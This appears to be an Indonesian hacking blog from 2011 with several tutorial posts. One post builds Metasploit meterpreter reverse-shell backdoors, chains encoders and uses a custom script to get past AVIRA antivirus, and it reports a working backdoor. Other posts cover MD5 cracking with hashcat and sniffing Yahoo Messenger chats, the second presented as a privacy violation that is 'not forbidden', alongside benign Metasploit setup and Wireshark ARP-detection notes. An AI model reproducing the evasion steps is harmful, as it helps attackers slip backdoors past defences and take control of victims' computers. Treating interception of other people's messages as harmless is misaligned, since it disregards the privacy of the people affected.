Selasa, 20 Desember 2011

Menutup Port Untuk Menghindari Eksploitasi

Tidak ada satupun aksi hacking yang tidak dilakukan dengan bantuan internet. Dan internet selalu berkaitan dengan protokol. Setiap protokol tentu masuk melalui port yang berbeda. Seperti protokol HTTP yang masuk melalui port 80, atau protokol HTTPS yang masuk melalui port 443.

Keberadaan port yang terbuka ini sangat mengkhawatirkan, terlebih jika port yang terbuka memiliki vulnerability. Untuk itu disarankan kepada semua pengguna internet untuk menutup port anda, sebelum anda menyesal karena telah menjadi korban exploitation.

Pada kesempatan kali ini, saya akan menjelaskan bagaimana cara menutup port di LINUX untuk menghindari exploitation. Anda hanya butuh terminal, tidak perlu IP tables dan lain sebagainya. Untuk pembuktian, anda bisa mendownload NMAP untuk mengecek port yang terbuka.

STEP 1
Cari tau port yang terbuka dengan nmap atau netstat.

Untuk penggunaan nmap ketik perintah ini ke dalam terminal:

Command :
root@ASUS:~# nmap -p 1-65535 localhost



keterangan:
-p adalah perintah untuk mencari port yang terbuka dari port 1 sampai port 65535 (semua port)
localhost adalah laptop atau komputer anda sendiri, kali ini nmap akan menemukan port yang terbuka dalam laptop atau komputer anda.

Untuk penggunaan netstat, ketik perintah ini ke dalam terminal:

Command :
root@ASUS:~# netstat -lpn | grep tcp



keterangan:
-l menampilkan port yang sedang melakukan listening (terbuka)
-p menampilkan process yang sedang melakukan listening
grep layaknya ctrl+f dalam ms. word. Ia akan mencari sebuah frase dalam output terminal, atau dalam sebuah file. kali ini grep akan mencari frase tcp dalam output netstat -lpn

STEP 2
Hentikan semua process yang sedang melakukan listening

Terlihat pada output netstat, bahwa ada beberapa process yang sedang melakukan listening. Untuk menghentikan process ini, gunakan perintah kill pada terminal


Command :
root@ASUS:~# kill pid


pid adalah process ID. Contoh:

1231/postgres
Postgres sedang melakukan listening pada port 5432, dengan pid 1231.

Maka masukan perintah:


Command :
root@ASUS:~# kill 1231


Maka postgrespun berhenti. Anda bisa menghentikan lebih dari satu process dalam satu perintah. Misalkan:


Command :
root@ASUS:~# kill 2131 1234 4321 666


Namun, anda harus menyesuaikan PID yang melakukan listening pada port tersebut.


STEP 3
Cek kembali, apakah masih ada port yang terbuka.

Masukan perintah dalam STEP 1.


Command :
root@ASUS:~# nmap -p 1-65535 localhost


dan


Command :
root@ASUS:~# netstat -lpn | grep tcp


Hasilnya


Sempurna! Semua port telah tertutup.

Warning:
Jika anda memiliki metasploit dalam Linux anda, jangan hentikan process postgres. Ini akan menyebabkan metasploit mengalami erro dalam menghubungi postgres.

created by:
red-dragon

Jumat, 16 Desember 2011

[INSANE] Encoding Virus to Bypassing 80% Anti-Virus

CMetasploit dan Anti-Virus. Layaknya air dan minyak, mereka tidak bisa disatukan. Selalu ada cara untuk saling menjatuhkan. Beberapa minggu yang lalu, kita sudah menguji SMADAV dalam menangani backdoor yang dibuat oleh metasploit, dan hasilnya. SMADAV gagal. Ini menjadi pelajaran yang berarti untuk programmer anti-virus lokal, dimana exploitasi bisa terjadi tanpa memanfaatkan vulnerability sebuah OS, atau memanfaatkan celah port 445 yang terbuka.

Pada kesempatan kali ini, kita akan menguji AVIRA. AVIRA bukanlah produk lokal, dan AVIRA menganut system update, dimana database AVIRA selalu diperbaharui untuk mencegah virus baru melewati system pemindaian mereka.

Langsung saja kita menuju tahap pengujian.

Preparation:
Attacker:
1. Metasploit
2. Apache 2

Victim:
1. AVIRA

Goal:
1. Buat payload dengan msfpayload, dan encode dengan msfencode untuk melewati system keamanan AVIRA

Walkthrough:
1. Buka terminal, lalu ubah work directory kita menjadi metasploit directory:

Command :
root@ASUS:~# cd /opt/metasploit/msf3/

Cek msfencode anda. Untuk bantuan, masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# ./msfencode -h


Untuk melihat daftar encoder yang dapat digunakan, masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# ./msfencode -l



Ok. Pastikan service apache sudah berjalan. Masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# /etc/init.d/apache2 start

Catatan:
Setiap payload yang kita buat, akan kita tempatkan pada directory   /var/www. Cobalah untuk menghindari system copy-paste ke VM-ware, mengingat hal ini dapat menyebabkan VM-ware hanging/crash. Lalu bagaimana agar kita dapat menguji payload kita untuk di-scan dengan AVIRA? Mudah saja. VM-ware memiliki interface network khusus bernama vmnet8, dan IP address anda adalah 172.16.60.1. Untuk memperoleh payload, gunakan browser yang tersedia pada VM-ware anda, dalam tutorial kali ini, saya menggunakan browser Mozilla Firefox. Anda juga bisa menggunakan Internet Explorer. Masukan http://172.16.60.1/nama-exploit-anda pada browser untuk memperoleh payload anda.

PAYLOAD 1
Kali ini saya coba dengan payload standar dengan msfpayload, tanpa di-encode menggunakan msfencode.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 X > /var/www/exploit1.exe


Keterangan:
LHOST = IP address anda
LPORT = PORT Listener anda

Catatan:
Selalu simpan payload kita pada direktori /var/www dan usahakan gunakan nama yang berbeda untuk setiap payload yang kita buat!

Hasil test:

GAGAL

PAYLOAD 2
Kegagalan pertama itu wajar. Mari kita buat payload lain kemudian kita encode dengan msfencode.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -t exe > /var/www/exploit2.exe

Keterangan:
1. Saya menggunakan encoder x86/shikata_ga_nai, dan melakukan encoding sebanyak 1 kali.


Hasil test:


GAGAL

PAYLOAD 3
Jangan menyerah, kali ini kita akan buat encoder menggila!

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 16 -b '\x00\xff' -t exe > /var/www/exploit3.exe


Hasil:

GAGAL

PAYLOAD 4
Bagaimana jika kita gunakan  2 encoder? Shikata_ga_nai dan jmp_call_additive.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 4 -b -t raw | ./msfencode -e x86/jmp_call_additive -c 4 -t exe > /var/www/exploit4.exe



Hasil:

GAGAL

PAYLOAD 5
Sekarang kita gunakan 3 encoder. Ini semakin gila [untuk beberapa orang]. Namun bagi saya tidak. =T
Kita akan gunakan Shikata_ga_nai, jmp_call_additive, dan call4_dword-xor.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 4 -b -t raw | ./msfencode -e x86/jmp_call_additive -c 4 -t raw | ./msfencode -e x86/call4_dword_xor -c 4 -t exe > /var/www/exploit5.exe


Hasil:

GAGAL

Kelihatannya anti-virus kita cukup gigih dalam menangani payload yang kita buat. Ok. Sekarang kita coba dengan metode yang agak gila. Dan memang ini gila. Karena kita akan melakukan encoding manual tanpa bantuan msfencode.

Konsep:
Kita akan melakukan encoding payload dengan bahasa pemrograman C.
Kurang lebih seperti ini payout payload kita:

s/+/ /g
s/buf = /unsigned char micro[]=/g
#include <stdio.h>
unsigned char ufs[]=
(( i=1; i<=10000;i++ ))
s/$/"/
s/^/"/
int main(void) { ((void (*)())micro)();}
unsigned char tap[]=
(( i=1; i<=999999;i++ ))
s/$/"/
s/^/"/

Terlihat membingungkan? Jika anda merasa tidak sanggup mengikuti tahap lanjut encoding, jangan tinggalkan halaman ini dulu. Saya akan berikan cara yang jauh lebih mudah ketimbang melakukan encoding cara manual. Saya telah mempersiapkan script untuk melakukan encoding ini. Anda bisa download di sini.

Namun sebelumnya, anda harus mendownload file ini untuk membantu anda dalam melakukan encoding menggunakan bahasa C.

root@ASUS:~# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils

Setelah mendownload file vanish.sh, pindahkan file ini ke direktori metasploit, dan ubah modenya agar bisa dieksekusi.

Dalam tutorial kali ini, saya menggunakan vmware, sehingga interface network saya adalah vmnet8. Sekarang saatnya menguji payload kita.

LAST PAYLOAD!

Command :
root@ASUS:/opt/metasploit/msf3# ./vanish.sh



Karena saya menggunakan VM-ware dalam test ini, jadi saya menggunakan interface vmnet8. Jika anda menggunakan modem, maka pilih interface ppp0, jika anda menggunakan wireless network, gunakan interface wlan0, jika anda menggunakan wired connection, gunakan interface eth0.


Gunakan port 4444 sebagai port listener. Port listener bisa anda tentukan sesuka hati, dengan syarat, jangan gunakan port yang sudah digunakan oleh service lain, misalkan port 80 yang digunakan oleh apache. Ini akan mengakibatkan metasploit tidak bisa melakukan listening pada port tersebut.

Untuk jumlah seed, saya menyarankan untuk memasukan angka 7000, dan untuk jumlah encoding, masukan angka 14.

Tunggu sampai proses encoding selesai, hingga muncul tampilan metasploit seperti ini:


Berhasil. Payload kita dibuat dengan nama backdoor.exe pada folder seclabs. Copy payload kita ke direktori /var/www dengan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# cd seclabs/ && cp backdoor.exe /var/www/exploit6.exe

Kemudian kita uji dengan melakukan scanning anti-virus.
Hasil:

BERHASIL

Tidaklah sulit melewati AVIRA. Lalu, apakah file ini berfungsi sebagaimana mestinya? Jalankan saja file tersebut, kemudian cek kembali metasploit kita.


SUKSES

created by:
red-dragon

Rabu, 14 Desember 2011

Manajemen Database Metasploit

Taukah kamu? Metasploit memiliki database-nya sendiri untuk kemudahan user dalam mengarsipkan atau 'mengabadikan' momen pentest-nya. Hal ini memungkinkan kita untuk menyimpan data-data vulnerability, host, dan sebagainya.


Kali ini saya akan menjelaskan tentang manajemen database metasploit, dimana metasploit secara default memiliki database (Postgres) yang native. Konfigurasi database ini bisa ditemukan di:




Dan konfigurasi metasploit di:




Untuk mengecek status database Postgres. Cek di:




Oke, langsung ke permasalahan. Mari kita buat database mandiri miliki metasploit. Caranya -->


Kamu harus menginstall beberapa dependencies:

apt-get install postgresql libpq-dev

Setelah itu, jalankan service Postgres lalu masuk ke Postgres dengan akun "postgres":


root@rx:~# /etc/init.d/postgresql-8.4 start
root@rx:~# sudo su postgres -c psql


Kemudian ganti password "postgres" sesuka kamu:


postgres=# ALTER USER postgres WITH PASSWORD 'PASSWORD_YANG_KAMU_MAU';


Setelah itu exit. Berikut SS-nya (=




Kemudian ganti login user postgres:


root@rx:~# sudo passwd -d postgres
passwd: password expiry information changed.
root@rx:~# sudo su postgres -c passwd
Enter new UNIX password: (masukin password baru)
Retype new UNIX password: (ulang)
passwd: password updated successfully



Berikut SS-nya (=




Selanjutnya konfigurasi ruby ke mode auto. Kita tau kalo Metasploit menggunakan bahasa RUBY. Setelah itu install development file untuk postgres agar bisa digunakan metasploit.


root@rx:~# update-alternatives --config ruby


Pilih '0'


root@rx:~# gem install postgres


Berikut, SS-nya (=




Setelah itu masuk ke Metasploit. Lalu gunakan driver postgres dan koneksikan metasploit ke database kamu (=


msf > db_connect
[*]    Usage: db_connect <user:pass>@<host:port>/<database>
[*]       OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*]        db_connect user@metasploit3
[*]        db_connect user:pass@192.168.0.2/metasploit3
[*]        db_connect user:pass@192.168.0.2:1500/metasploit3
msf > db_connect postgres:metasploit@127.0.0.1/metasploit



Cara mengkoneksikannya adalah:


db_connect [USERNAME]:[PASSWORD]@[LOCALHOST]/[NAMA_DATABASE]

Jadi kalo kalo:
Username = postgres
Password = password
Localhost = 127.0.0.1
Nama Database = meterpreter


db_connect postgres:password@127.0.0.1/meterpreter

SS-nya (=


Setelah ini cek status database-nya. Kemudian, buat workspace untuk menentukan lembar kerja kita. Misalkan kalo lagi nongkrong di kampus. Kita pake workspace "kampus". Caranya.


workspace -a kampus ==> untuk membuat workspace baru bernama kampus


workspace -d kampus ==> untuk mnghapus workspace yang sudah ada bernama kampus


workspace ==> untuk melihat semua workspace yang ada di database tertentu


Ni contohnya ...




Sekian, berikutnya saya akan menjelaskan manajemen database untuk Nessus beserta cara mengaktivasikan Nessus dan juga menjalankan Nessus di Metasploit.


Blue Dragon


Selasa, 13 Desember 2011

[Network Forensics] Detecting ARP protocol using Wireshark

Percayalah, tidak ada satupun pengguna jaringan yang menyukai protocol ARP yang bebas berterbangan dalam sebuah jaringan. Jika ARP milik NMAP tidak menjadi masalah, mungkin ARP milik net cut atau dns spoof milik ettercap bisa membuat anda ketar-ketir.

Pertanyaan yang sering muncul adalah, siapa dalangnya? Dan pertanyaan ini akan selalu membayangi operator warnet, atau kepala keamanan jaringan. Pasalnya, jumlah pengguna mungkin akan berkurang akibat ulah protocol ARP ini.

Pertanyaan ini dapat diselesaikan menggunakan Wireshark. Protocol analyzer sekaligus tools forensics nomer 1 di dunia.

Untuk mencari dalang dari pengirim ARP cukup mudah. Buka wireshark, kemudian pilih interface local area network yang sedang digunakan. Jika menggunakan access point WiFi, gunakan interface wlan0 (back|track) atau eth1 (ubuntu). Jika menggunakan wired connection, gunakan interface eth0.

Setelah, memilih interface, filter hasil capture dengan mengetik ARP pada kolom filter. Maka wireshark akan menampilkan hasil ARP, dan menyediakan informasi siapa pengirim ARP pada jaringan tersebut.


created by:
red-dragon

[FIX] msfupdate (no version information available)

Beberapa hari yang lalu saya mendapatkan pesan error ketika sedang meng-update metasploit. Kira-kira pesan error-nya seperti ini:



svn: /opt/framework/lib/libssl.so.0.9.8: no version information available (required by /opt/framework/lib/libserf-0.so.0)
svn: /opt/framework/lib/libcrypto.so.0.9.8: no version information available (required by /opt/framework/lib/libserf-0.so.0)
svn: /opt/framework/lib/libssl.so.0.9.8: no version information available (required by /opt/framework/lib/libserf-0.so.0)
svn: /opt/framework/lib/libcrypto.so.0.9.8: no version information available (required by /opt/framework/lib/libserf-0.so.0)






Perhatikan "no version information available", error di sini berarti library metasploit tidak memiliki versi yang dimaksud. Untuk itu, coba cek file library nya:




libssl.so.0.9.8 tidak memiliki link ke /usr/lib/ dimana seluruh library bergantung pada direktori ini. Begitupun nasib libcrypto.so.0.9.8. Maka yang perlu kita lakukan adalah:


  1. Backup library msf yang error
  2. Buat link antara library msf yang error dengan library yang ada di /usr/lib/
Berikut caranya:


root@rx:~# cd /opt/framework/lib/
root@rx:/opt/framework/lib# mv libcrypto.so.0.9.8 libcrypto.so.0.9.8.bak
root@rx:/opt/framework/lib# mv libssl.so.0.9.8 libssl.so.0.9.8.bak
root@rx:/opt/framework/lib# ln -s /usr/lib/libcrypto.so.0.9.8
root@rx:/opt/framework/lib# ln -s /usr/lib/libssl.so.0.9.8




Jika sudah, coba jalankan msfupdate:


root@rx:~# msfupdate




SUKSES. Like usual (PERFECT) (=


created-by:
Blue Dragon

Senin, 12 Desember 2011

Cracking Password With Hashcat

Siapa yang tidak stress melihat hash seperti ini? 04c9e3dd1d60e6d18fb71684e8dc5687 apa password dari hash ini?

Saya mengambil hash ini setelah melakukan enkripsi password pada situs crypo.com/eng_md5.php

Kemudian melakukan enkripsi password (rEd-dr4g0n)666, dan hasilnya 04c9e3dd1d60e6d18fb71684e8dc5687





Pertama saya coba dari http://www.md5decrypter.com hasilnya?


NIHIL

Sekarang kita coba ke http://www.md5decrypter.co.uk hasilnya


NIHIL

Stress kalo udah gini. Tapi jangan menyerah. Saya akan mengajarkan bagaimana caranya cracking password ini dengan hashcat.

Preparation:

Walkthrough:
Pertama, kita buat file yang berisi hash kita

Buka terminal, lalu masukan perintah:
root@ubuntu:~# echo "04c9e3dd1d60e6d18fb71684e8dc5687" > /root/hash.txt

Kemudian cek bahwa file berhasil di simpan:
root@ubuntu:~# cat hash.txt 
04c9e3dd1d60e6d18fb71684e8dc5687

Kemudian kita gunakan hashcat untuk cracking hash ini:
root@ubuntu:~# cd /pentest/passwords/hashcat && ./hashcat-cli32.bin -m 0 /root/hash.txt /root/red-dragon-wordlist.txt

Keterangan:
cd = change directory => mengganti work directory ke /pentest/password/hashcat

&& = melakukan eksekusi selanjutnya dalam working directory yang sudah diubah tadi

./hashcat-cli32.bin = mengeksekusi hashcat-cli32.bin

-m 0 = hash mode yang dipakai => 0 adalah type hash mode untuk hash MD5

/root/hash.txt = tempat hash disimpan

/root/red-dragon-wordlist.txt = tempat wordlist untuk melakukan dictionary attack

Tambahan:
-m
   --hash-mode=NUM               number of hash-mode

   0 = MD5                           200 = MySQL
   1 = md5($pass.$salt)              300 = MySQL4.1/MySQL5
   2 = md5($salt.$pass)              400 = MD5(Wordpress)
   3 = md5(md5($pass))               400 = MD5(phpBB3)
   4 = md5(md5(md5($pass)))          500 = MD5(Unix)
   5 = md5(md5($pass).$salt)         600 = SHA-1(Base64)
   6 = md5(md5($salt).$pass)         700 = SSHA-1(Base64)
   7 = md5($salt.md5($pass))         800 = SHA-1(Django)
   8 = md5($salt.$pass.$salt)        900 = MD4
   9 = md5(md5($salt).md5($pass))   1000 = NTLM
  10 = md5(md5($pass).md5($salt))   1100 = Domain Cached Credentials
  11 = md5($salt.md5($salt.$pass))  1200 = MD5(Chap)
  12 = md5($salt.md5($pass.$salt))  1300 = MSSQL
  30 = md5($username.0.$pass)
  31 = md5(strtoupper(md5($pass)))
 100 = SHA1                         1400 = SHA256
 101 = sha1($pass.$salt)            1600 = MD5(APR)
 102 = sha1($salt.$pass)            1700 = SHA512
 103 = sha1(sha1($pass))            1800 = SHA-512(Unix)
 104 = sha1(sha1(sha1($pass)))
 105 = sha1(strtolower($username).$pass)

Dan hasilnya


(rEd-dr4g0n)666

Created by:
red-dragon

Minggu, 11 Desember 2011

[Network Forensics] Sniffing Yahoo Messenger

Bosan membaca cookies? Mungkin yang ini bisa membuat anda sedikit tertawa-tawa. Membaca beberapa pesan yahoo messenger memang tindakan pelanggaran privasi. Namun tetap saja bukan tindakan yang haram. =)

Oke langsung saja. Kali ini saya akan mengajarkan bagaimana cara melakukan sniffing isi pesan yahoo messenger dengan menggunakan wireshark. Wireshark adalah tools network security nomer satu pada sectool 

Wireshark atau yang dikenal sebagai etherea, berbasis open source. Memiliki kemampuan menganilisa protocol network, dan melakukan sniffing packet dalam sebuah local area network. Kemampuan analisa wireshark sangat mengagumkan, mulai dari membaca enkripsi WPA/PSK pada wifi yang di password. Sampai membaca pesan dan komentar dalam jejaring social, termasuk chatting. Bahkan, metode terbaru mengajarkan pentester untuk melakukan cracking password user administrator dengan menggunakan wireshark!

Wireshark dapat di download di sini

Langsung saja ke bagan inti.

Peringatan!!!!
Tutorial ini memiliki tujuan pembelajaran. Penyalah gunaan ilmu ini, merupakan tanggung jawab dari anda sendiri.

Cukup mudah. Buka wireshark, Dan pilih interface network. Dalam tutorial kali ini, saya menggunakan backtrack 5 menggunakan wireless local are network dengan interface wlan0.

Setelah melakukan packet sniffing, ketik ymsg pada kolom fiter. Maka wireshark akan memunculkan setiap protocol yahoo messenger. Sebagai bukti, saya akan berikan screenshoonya.

Ini adalah isi pesan dari salah satu teman saya.


Dan ini hasil sniffing.


Awalnya saya berharap saya menemukan password yang diinput dalam halaman login jejaring sosial. Tapi karena network sepi, jadi saya mencoba melakukan packet sniffing pada diri sendiri.

Kendala yang mungkin ditemukan:

Anda mungkin hanya akan mendapatkan packet yang berasal dari anda sendiri. Dan tidak dapat menemukan packet yang berasal dari host lain. Hal ini karena wireshark tidak dirancang melakukan MITM attack. Untuk melakukan MITM attack, anda bisa menggunakan cain & abel pada windows, atau menggunakan ettercap pada linux.

created by:
red-dragon

Supported by:
Yoshephine Handini
blue-dragon
My partners